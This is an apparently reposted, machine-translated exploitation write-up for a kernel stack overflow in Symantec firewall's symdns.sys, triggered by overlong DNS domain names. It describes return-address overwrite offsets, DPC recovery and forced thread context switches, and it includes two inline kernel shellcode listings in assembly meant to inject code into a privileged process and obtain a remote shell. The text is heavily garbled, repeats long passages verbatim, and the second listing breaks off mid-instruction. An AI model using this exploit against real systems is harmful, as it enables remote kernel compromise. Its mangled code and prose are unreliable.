Summary of Symantec Firewall Nuclear Stack Overvoltage Vulnerability Utilization

xiaoxiao2021-03-14  195

The function of processing the incoming domain name in symdns.sys is located at the Symdns.sys base address 0xA76, which assigns 0x214 byte space in the stack, copies the domain name, although the total length is calculated, but the limit is calculated, but Due to calculation errors, it is also white calculated, causing a stack overflow that can be input to a long domain name. Each domain name of incoming is a maximum length limit, which cannot exceed 0x40 bytes, so each of my shellcode length is 0x3f (63) bytes. After overwriting 532 bytes, the return address of the function is covered. This vulnerability has a characteristic that in the stack, the introduced domain name, causing the second half of the shellcode before returning to the address in the stack, and is very unrecognizable. There are now two ways to perform shellcode: First, the address of our entire DNS packet (including DNS header) is saved at the ESP 0xc where we can overwrite the return address, is an address in a non-tap pool, 74816D74 4C816C9B 816D002E 816C9E34 | _____ ESP points to this | _______ This is the address of the non-paging pool, now everyone should know how to do it? Although there is no fixed JMP [ESP 0xc], Call [ESP 0xc] in the kernel, but we can do it, using instructions such as POP / POP / POP / RET, the control of the machine Go to us. However, this 3 POP instructions is best not to bring POP EBP, otherwise it will be inexplicably returned to a strange address. At the end of the Strstr function, there are two POP / POP / POP / RET combinations. Now understand the role of the message ID of the beginning? / Xeb / x0b is a machine directive that directly jumps, skips the DNS packet header and the first Shellcode length meter number of DNS packets and the first SHELLCODE length count. Flashsky said in the journal to skip the length count, but the 0x3F correspondence is AAS, and the Eax is ASCII adjustment, so this 0x3f can also be regarded as part of the SHELLCODE in the case of generally does not affect Eax and flags. You can save a lot of bytes ^ _ ^. The second is to start performing our shellcode at the ESP 0x8 covered in the stack, and the SHELLCODE function after returning the address will not work. But if shellcode is too long, it will override some information about DPC scheduling. A variant method, you can jump back to the first half of the shellcode before returning the address is not modified. You can perform a close 200 byte, then skip to the back address, the SHELLCODE section is executed, so space should be sufficient. However, since 0x3f started every segment of shellcode in the stack has been replaced with 0x2e, 0x2e is not separately corresponding to the machine code, so it can only be changed to / XEB / X01 skip 0x2e in the last part of each shellcode segment. In the safety return method, since there is not overridden to overwrite the return address in the stack, you can only use the first method to execute shellcdoe in the pool, and the kernel state shellcode of the security return method is only 230 bytes, the pool There are still 310 bytes left and so that you can use. In the non-secure return method, due to the stack position of the stack position of the key data such as DPC scheduling, the locked resource, etc., it can be performed in the stack.

Didn't realize the non-secure return method, because the technical points inside include the safety return method and non-safe return method, and the limit is too big, it is very uncomfortable. Mainly the content of the BAT download file, you can see related articles. As Flashsky said, the key to non-secure returning law two is to recover DPC, unlike safety return, we don't have to care about thread switching and DPC scheduling. However, Flashsky exaggerates the situation of DPC destruction, especially environmental switches, even in the safety return method, the system has also carried out several environmental switches and DPC scheduling (occurred in INT 0X2E) when performing our code. Let us look at how to complete scheduling a DPC, the following is in part related to the structure KPCR DPC scheduling: 7e0 uint32 DpcInterruptRequested 7e4 void * ChainedInterruptList 7e8 uint32 CachePad3 [2] 7f0 uint32 MaximumDpcQueueDepth 7f4 uint32 MinimumDpcRate 7f8 uint32 CachePad4 [2] 800 struct _LIST_ENTRY DpcListHead 800 struct _LIST_ENTRY * Flink 804 struct _LIST_ENTRY * Blink 808 uint32 DpcQueueDepth 80c uint32 DpcRoutineActive 810 uint32 DpcCount 814 uint32 DpcLastCount 818 uint32 DpcRequestRate 81c void * DpcStack DPC of There are two types of treatment methods, one is to put the KDPC object string DPCLISTHEAD. In KIIDLOOP or KIDISPATCHERRUPT, the system detects that the current DPC linked list is not empty, so call kiretiredpclist, kiretiredpclist Settings the current dpcroutineActive status to TRUE (M $ is here to assure the value of ESP with the member, apparently any time ESP is greater than 0 ) And set DPCINTERRUPTREQUESTED to TRUE and then remove the DPC routines and parameters of the KDPC structure on the linked list from DPCLISTHEAD. After processing, restore the original state and add DPCCount. Another method is to wait for KTIMER scheduling objects, and the frequency of DPC scheduling occurs is quite high, but most of the time is the processing timer KTIMER expired DPC, and many DPCs are handled in KitimeRexPiration-> KitiMerLisTexPire by waiting for KTimer. The overflow here is the first method. We are in DPC scheduling, DPCROUTINEACTIVE and DPCINTERRUPTREQUSTED are True, and the stack trace is discovered by kiidleLoop. Obviously these two members have to restore the original 0 value (actually not recover, if the DPC schedule will be resumed after the DPC schedule has occurred, it will reduce the success rate of overflow, because if in Int 0x2e has no DPC scheduling system in front of the ATTACH process.

In fact, some blue screens in the system are intentionally call Kebugcheck to prevent you from doing certain things. If you deal with it, you will not affect the system, such as can't be active (which is dpcroutineAactive to TRUE). But in this vulnerability overflow, our first step is to switch to the environment :). Therefore, breakthrough system to our martyrdom and complete the function of the system itself, is the reason why our interested in kernel, can control the entire operating system is really cool, long, huh, huh. DPC recovery is a skill, since the call once KiIdleLoop is KiRetireDpcList, then the content at KernelStack IDLE thread (ETHREAD 0x28) certainly point to the next instruction after the call KiIdleLoop in KiRetireDpcList: call nt KiRetireDpcList cmp dword ptr [ebx ! 0x128], 0x0 If the system is not changed here, the system is restored here, the next step is to determine whether the linked list represented by the dpclisthead represented in the EBP is empty, but because the value that has just changed EBP has been modified to The value of KTSS is definitely wrong after switching to the idle thread. So we need artificial to this address (refer to the next instruction after kiRetiredPClist) to do something foot, plus 0x2D, ​​make it a next instruction after calling SwapContext: Call Nt! SwapContext Lea EBP, [EBX 0x800 ] Obviously EBP has been restored, and DPC scheduling can continue. We have two options, one is to skip the current DPC, and the other is to re-add the current DPC (here NDISMDPC) to the DPC linked header ready for the next repartition. The advantage of the former method is convenient, you can save a lot of code, but also the method I use, but there is a small problem, it is unable to ping the pass, it will generate the interruption of the network has been interrupted, in fact the network is through, shell Also get it. The second method Although the network function is normal, there will be some exceptions in remote machines, such as the start menu can't use, of course, the shell is everything. The commonality of the two methods must be unlocked for the Ndis_MiniPort_Block structure of the front lock, which is saved in the iDLE thread stack, which is relatively large, so it can be safe. The next step is to perform environmental switches, the thread to switch is a thread that we have not changed in the internal nuclear stack in the target privilege process. Assign the thread to be switched to the KPCR 0x124, assign the next thread to which the next to switch is derived at KPCR 0x128 and change the IDLE thread state (Ethread 02D byte State) to standby (0x3). Then, by changing the CR3 switching process address, modify the TEB descriptor pointing to the new thread TEB, remove the KernelStack from the target to switch the thread to the current ESP, remember, from here, we are already in the stack of new threads, if you What is important information before pressing in the stack of IDLE threads, hurry to switch the ESP out of the stack.

One more important, because we are forcibly putting a radical thread to enumerate and running (if you want to find threads in ready state, the thread of the target privilege process is too test, the machine rate can be more Take 6, you must remove the thread in the Waiting Link list (here you talk about the difference between KiwaitinListhead and KiwaitoutListhead, the former is a thread chain list in the waiting state and the kernel stack is not changed, and the latter is in a waiting state and the kernel The stack has been switched out of the thread chain table), otherwise it will have a dead cycle at KioutSwapkernelStack. Finally, returning directly to KiswapContext (this is saved in the stack when the thread is overwhelmed), and the system will take over (here, it is necessary, in fact, the iDle thread has been paid from KPCR 0x128 and is changed to After standing, the first int 0x2e is scheduled to be executed). I started to complete other functions, re-environment switches, and the result is a very strange problem. It is in Windbg if the INT 0x2e of ZwlockVirtualMemory is single-step, then set an int 0x3 after the int 0x2e, then set it back to G, the system is normal, but if directly g or simply, there is no breakpoint. Then the system will have a strange problem. I guess that Windbg replaces some of the DPC calls. I have tried to solve this problem, and the result was depressed N times, mainly in the system under the intervention of Windbg. Later, I thought that the previous environment switch and DPC schedule used the IDLE thread kernel stack, and the back is directly modified back to normal value (Idle's kernelstack, at Ethread 0x28, it is a constant value, no modification, will be modified) Returning to the wrong address), the estimated problem happens here, so I changed the shellcode before and after, and the first environment switches and completes other functions, which will not intervene in the iDLE's core stack, and the fact proves that this is correct :) There is my environment switch code is a SwapContext version that has repeatedly streamlined. All the codes can be completely removed, such as the code that modifies some members who will not use in KPCR, even threaded status Did not change, still stay in the waiting state, any normal environmental environment switches do not detect what the running thread is, huh, huh. This shellcode probably only 3/4 success rate, because in some cases, our DNS packet is not attached to the ESP 0xc, and sometimes all threads have been changed from the process, and there must be The little probability will happen to NDIS dead locks --_- Sometimes the RP broke out every day, sometimes the virtual machine is mad blue screen. . . . The biggest problem estimate in the internal nuclear overflow is the problem of the shortage. Since IRQL = 2 cannot be changed, it is very likely that somewately visits can not be accessed. Some modifications can use, such as Work Item, which can be used under IRQL = 2, and then the system worker thread is completed for us. This is some improvement ideas. Shellcode consists of kernel shellcode and user shellcode. The kernel shellcode is responsible for returning and executing user shellcode. User shellcode is a normal function, pay attention to joining the code of the firewall. The following is the kernel shellcode code, did not provide complete shellcode, because one is for technical research, but do not want to be used by those who have nothing to do with technology but only think about destruction.

The converted machine code is only 230 bytes. It is basically not too big :): __declspec (naked) Justtest () {__ASM {Call Go1 Go1: Pop Eax Push EBX MOV EBX, 0xFFDFF55C MOV EBX, DWORD PTR [EBX] MOV ebx, dword ptr [ebx 0x44] push 0x73727363 FindProcess: mov edi, esp lea esi, dword ptr [ebx 0x1fc] push 0x4 pop ecx repe cmpsb jecxz go2 mov ebx, dword ptr [ebx 0xa0] sub ebx, 0xa0 jmp FindProcess Go2: POP EDX MOV EDX, DWORD PTR [EBX 0x50] Findthread: Movzx ECX, Byte Ptr [EDX-0x86] DEC ECX JECXZ GO3 MOV EDX, DWORD PTR [EDX] JMP Findthread Go3: Mov Eax, DWORD PTR [EBX 0x18] MOV EBP, ESP SUB ESP, 0x40 PUSH EDX MOV CR3, EAX PUSH 0X10 POP ECX XOR EAX, EAX LEA EDI, DWORD PTR [EBP-0X40] Zerostack: Stosd Loop Zerostack MOV BYTE PTR [EBP-0x38], 0x18Lea EDI, DWORD PTR [EDX

0x3c] Push EDI LEA EDI, DWORD PTR [EBP-0x38] Push EDI LEA EDI, DWORD PTR [EBP-0x8] Push 0x1F0FFF PUSH EDI MOV Al, 0x6a Lea Edx, DWORD PTR [ESP] INT 0X2E Add ESP, 0x10 MOV BYTE PTR [EBP-0X3], 0x2 Push 0x40 Push 0x1000 Lea EDI, DWORD PTR [EBP-0X4] Push EDI PUSH EAX LEA EDI, DWORD PTR [EBP-0XC] Push EDI PUSH DWORD PTR [EBP-0x8] MOV Al, 0x10 Lea Edx, DWORD PTR [ESP] INT 0x2e Add ESP, 0x18 Push 0x2 Lea EBX, DWORD PTR [EBP-0x4] Push EBX Lea EBX, DWORD PTR [EBP-0XC] Push EBX PUSH DWORD PTR [EBP-0x8] MOV Al , 0x59 Lea Edx, DWORD PTR [ESP] INT 0X2E Add ESP, 0x10 MOV EDI, DWORD PTR [EBP] PTR [EDX-0x7C] Push DWORD PTR [EDX 0x68] POP ​​DWORD PTR [EDI 0x210] PUSH DWORD PTR [EBP-0XC] POP ​​DWORD PTR [EDX 0x68] Add Edi, 0x11c Push Eax Push 0x120 Push EDI PUSH DWORD PTR [EBP-0XC] Push DWORD PTR [EBP-0x8] MOV Al, 0xF0 Lea EDX, DWORD PTR [ESP ] INT 0x2e Add ESP, 0x100 XOR EAX, EAX MOV ESI, DWORD PTR [ESP 0x38] MOV EBP, ESP Add EBP, 0x88 RET 0x2c}}

Didn't realize the non-secure return method, because the technical points inside include the safety return method and non-safe return method, and the limit is too big, it is very uncomfortable. Mainly the content of the BAT download file, you can see related articles. As Flashsky said, the key to non-secure returning law two is to recover DPC, unlike safety return, we don't have to care about thread switching and DPC scheduling. However, Flashsky exaggerates the situation of DPC destruction, especially environmental switches, even in the safety return method, the system has also carried out several environmental switches and DPC scheduling (occurred in INT 0X2E) when performing our code. Let us look at how to complete scheduling a DPC, the following is in part related to the structure KPCR DPC scheduling: 7e0 uint32 DpcInterruptRequested 7e4 void * ChainedInterruptList 7e8 uint32 CachePad3 [2] 7f0 uint32 MaximumDpcQueueDepth 7f4 uint32 MinimumDpcRate 7f8 uint32 CachePad4 [2] 800 struct _LIST_ENTRY DpcListHead 800 struct _LIST_ENTRY * Flink 804 struct _LIST_ENTRY * Blink 808 uint32 DpcQueueDepth 80c uint32 DpcRoutineActive 810 uint32 DpcCount 814 uint32 DpcLastCount 818 uint32 DpcRequestRate 81c void * DpcStack DPC of There are two types of treatment methods, one is to put the KDPC object string DPCLISTHEAD. In KIIDLOOP or KIDISPATCHERRUPT, the system detects that the current DPC linked list is not empty, so call kiretiredpclist, kiretiredpclist Settings the current dpcroutineActive status to TRUE (M $ is here to assure the value of ESP with the member, apparently any time ESP is greater than 0 ) And set DPCINTERRUPTREQUESTED to TRUE and then remove the DPC routines and parameters of the KDPC structure on the linked list from DPCLISTHEAD. After processing, restore the original state and add DPCCount. Another method is to wait for KTIMER scheduling objects, and the frequency of DPC scheduling occurs is quite high, but most of the time is the processing timer KTIMER expired DPC, and many DPCs are handled in KitimeRexPiration-> KitiMerLisTexPire by waiting for KTimer. The overflow here is the first method. We are in DPC scheduling, DPCROUTINEACTIVE and DPCINTERRUPTREQUSTED are True, and the stack trace is discovered by kiidleLoop. Obviously these two members have to restore the original 0 value (actually not recover, if the DPC schedule will be resumed after the DPC schedule has occurred, it will reduce the success rate of overflow, because if in Int 0x2e has no DPC scheduling system in front of the ATTACH process.

In fact, some blue screens in the system are intentionally call Kebugcheck to prevent you from doing certain things. If you deal with it, you will not affect the system, such as can't be active (which is dpcroutineAactive to TRUE). But in this vulnerability overflow, our first step is to switch to the environment :). Therefore, breakthrough system to our martyrdom and complete the function of the system itself, is the reason why our interested in kernel, can control the entire operating system is really cool, long, huh, huh. DPC recovery is a skill, since the call once KiIdleLoop is KiRetireDpcList, then the content at KernelStack IDLE thread (ETHREAD 0x28) certainly point to the next instruction after the call KiIdleLoop in KiRetireDpcList: call nt KiRetireDpcList cmp dword ptr [ebx ! 0x128], 0x0 If the system is not changed here, the system is restored here, the next step is to determine whether the linked list represented by the dpclisthead represented in the EBP is empty, but because the value that has just changed EBP has been modified to The value of KTSS is definitely wrong after switching to the idle thread. So we need artificial to this address (refer to the next instruction after kiRetiredPClist) to do something foot, plus 0x2D, ​​make it a next instruction after calling SwapContext: Call Nt! SwapContext Lea EBP, [EBX 0x800 ] Obviously EBP has been restored, and DPC scheduling can continue. We have two options, one is to skip the current DPC, and the other is to re-add the current DPC (here NDISMDPC) to the DPC linked header ready for the next repartition. The advantage of the former method is convenient, you can save a lot of code, but also the method I use, but there is a small problem, it is unable to ping the pass, it will generate the interruption of the network has been interrupted, in fact the network is through, shell Also get it. The second method Although the network function is normal, there will be some exceptions in remote machines, such as the start menu can't use, of course, the shell is everything. The commonality of the two methods must be unlocked for the Ndis_MiniPort_Block structure of the front lock, which is saved in the iDLE thread stack, which is relatively large, so it can be safe. The next step is to perform environmental switches, the thread to switch is a thread that we have not changed in the internal nuclear stack in the target privilege process. Assign the thread to be switched to the KPCR 0x124, assign the next thread to which the next to switch is derived at KPCR 0x128 and change the IDLE thread state (Ethread 02D byte State) to standby (0x3). Then, by changing the CR3 switching process address, modify the TEB descriptor pointing to the new thread TEB, remove the KernelStack from the target to switch the thread to the current ESP, remember, from here, we are already in the stack of new threads, if you What is important information before pressing in the stack of IDLE threads, hurry to switch the ESP out of the stack.

One more important, because we are forcibly putting a radical thread to enumerate and running (if you want to find threads in ready state, the thread of the target privilege process is too test, the machine rate can be more Take 6, you must remove the thread in the Waiting Link list (here you talk about the difference between KiwaitinListhead and KiwaitoutListhead, the former is a thread chain list in the waiting state and the kernel stack is not changed, and the latter is in a waiting state and the kernel The stack has been switched out of the thread chain table), otherwise it will have a dead cycle at KioutSwapkernelStack. Finally, returning directly to KiswapContext (this is saved in the stack when the thread is overwhelmed), and the system will take over (here, it is necessary, in fact, the iDle thread has been paid from KPCR 0x128 and is changed to After standing, the first int 0x2e is scheduled to be executed). I started to complete other functions, re-environment switches, and the result is a very strange problem. It is in Windbg if the INT 0x2e of ZwlockVirtualMemory is single-step, then set an int 0x3 after the int 0x2e, then set it back to G, the system is normal, but if directly g or simply, there is no breakpoint. Then the system will have a strange problem. I guess that Windbg replaces some of the DPC calls. I have tried to solve this problem, and the result was depressed N times, mainly in the system under the intervention of Windbg. Later, I thought that the previous environment switch and DPC schedule used the IDLE thread kernel stack, and the back is directly modified back to normal value (Idle's kernelstack, at Ethread 0x28, it is a constant value, no modification, will be modified) Returning to the wrong address), the estimated problem happens here, so I changed the shellcode before and after, and the first environment switches and completes other functions, which will not intervene in the iDLE's core stack, and the fact proves that this is correct :) There is my environment switch code is a SwapContext version that has repeatedly streamlined. All the codes can be completely removed, such as the code that modifies some members who will not use in KPCR, even threaded status Did not change, still stay in the waiting state, any normal environmental environment switches do not detect what the running thread is, huh, huh. The following is the kernel shellcode code, converted into machine code about 320 bytes. If you use the second recovery of the DPC approximately 350 bytes.

This code is performed in the pool, remember to correct some of the offset address of the stack in the stack: __DECLSPEC (Naked) Justtest2 () {__ASM {Call Go1 Go1: Pop Eax Push EBP EBP , 0xffdff80c mov ebx, dword ptr [ebp-0x2b0] mov ebx, dword ptr [ebx 0x44] xor eax, eax push 0x73727363 FindProcess: mov edi, esp lea esi, dword ptr [ebx 0x1fc] push 0x4 pop ecx repe cmpsb JECXZ GO2 MOV EBX, DWORD PTR [EBX 0xA0] Sub EBX, 0xA0 JMP FindProcess Go2: Pop Edx Mov Dword PTR [EBP], ESP ESI ESI, DWORD PTR [ESP 0x33C] MOV BYTE PTR [ESI 0x2D], Al Lea ESI, DWORD PTR [EBX 0x50] Findthread: MOV ESI, DWORD PTR [ESI] TEST BYTE PTR [ESI-0x86], 0x1 JNZ Go3 JMP Findthread Go3: Mov Edx, DWORD PTR [EBX 0x18] SUB ESI, 0x1A4 MOV EBX, 0xFFDFF000 // Lea ECX, DWORD PTR [EBP-0XC] MOV EBP, DWORD PTR [EBX 0x124] MOV DWORD PTR [EBX 0x128], EBP INC BYTE PTR [EBP 0x2D] MOV EDI, DWORD PTR [EBP 0x28] Add DWORD PTR [EDI 0x8], 0x2D // MOV EBP, DWORD PTR [EDI-0x8] // Add EBP, 0x4 // Mov EDI, DWORD PTR [ECX] // Mov DWORD PTR [EDI], EBP // MOV DWORD PTR [EBP 4], EDI // MOV DWORD PTR [ECX], EBP MOV DWORD PTR [EBX 0x124], ESI MOV CL, BYTE PTR [ESI 0x2c] MOV BYTE PTR [EBX 0x50], CL MOV EBP, DWORD PTR [ESI 0x5c] MOV EDI, DWORD PTR [ESI 0x60] MOV DWORD PTR [EDI], EBP MOV DWORD PTR [EBP 0x4], EDI POP EDI PUSH DWORD PTR [ESI

0x1c] PT DWORD PTR [EBX 0x8] MOV ESP, DWORD PTR [ESI 0x28] MOV ECX, DWORD PTR [ESI 0x20] MOV DWORD PTR [EBX 0x18], ECX MOV EBP, DWORD PTR [EBX 0x3c] MOV Word PTR [EBP 0x3a], CX SHR ECX, 0x10 MOV BYTE PTR [EBP 0x3c], CL SHR ECX, 0x8 MOV BYTE PTR [EBP 0x3F], CL MOV EBP, DWORD PTR [EBX 0x40] MOV DWORD PTR [EBP 0x1c], EDX MOV CR3, EDX PUSH EDI MOV EBP, ESP SUB ESP, 0X40 PUSH EBX PUSH ESI PUSH 0X10 PUSH EBX PUSH ESI, DWORD PTR [EBP-0X40] Zerostack: Stosd Loop Zerostack Mov Byte Ptr [EBP -0x38], 0x18 Lea EDI, DWORD PTR [ESI 0x1e0] Push EDI LEA EDI, DWORD PTR [EBP-0X38] Push EDI LEA EDI, DWORD PTR [EBP-0x8] Push 0x1F0FFF PUSH EDI MOV Al, 0x6a Lea EDX, DWORD PTR [ESP] INT 0x2e Add ESP, 0x10 MOV BYTE PTR [EBP-0X3] , 0x2 Push 0x40 Push 0x1000 Lea EDI, DWORD PTR [EBP-0X4] Push EDI PUSH EAX LEA EDI, DWORD PTR [EBP-0XC] Push EDI PUSH DWORD PTR [EBP-0x8] MOV Al, 0x10 Lea EDX, DWORD PTR [ ESP] INT 0X2E Add ESP, 0x18 Push 0x2 Lea EBX, DWORD PTR [EBP-0x4] Push EBX Lea EBX, DWORD PTR [EBP-0XC] Push EBX PUSH DWORD PTR [EBP-0x8] MOV Al, 0x59 Lea EDX, DWORD PTR [ESP] INT 0X2E Add ESP, 0x10 MOV EDI, DWORD PTR [EBP] POP ​​EDX MOV EDX, DWORD PTR [EDX 0x128] PUSH DWORD PTR [EDX 0x68] POP ​​DWORD PTR [EDI

转载请注明原文地址:https://www.9cbs.com/read-129352.html

New Post(0)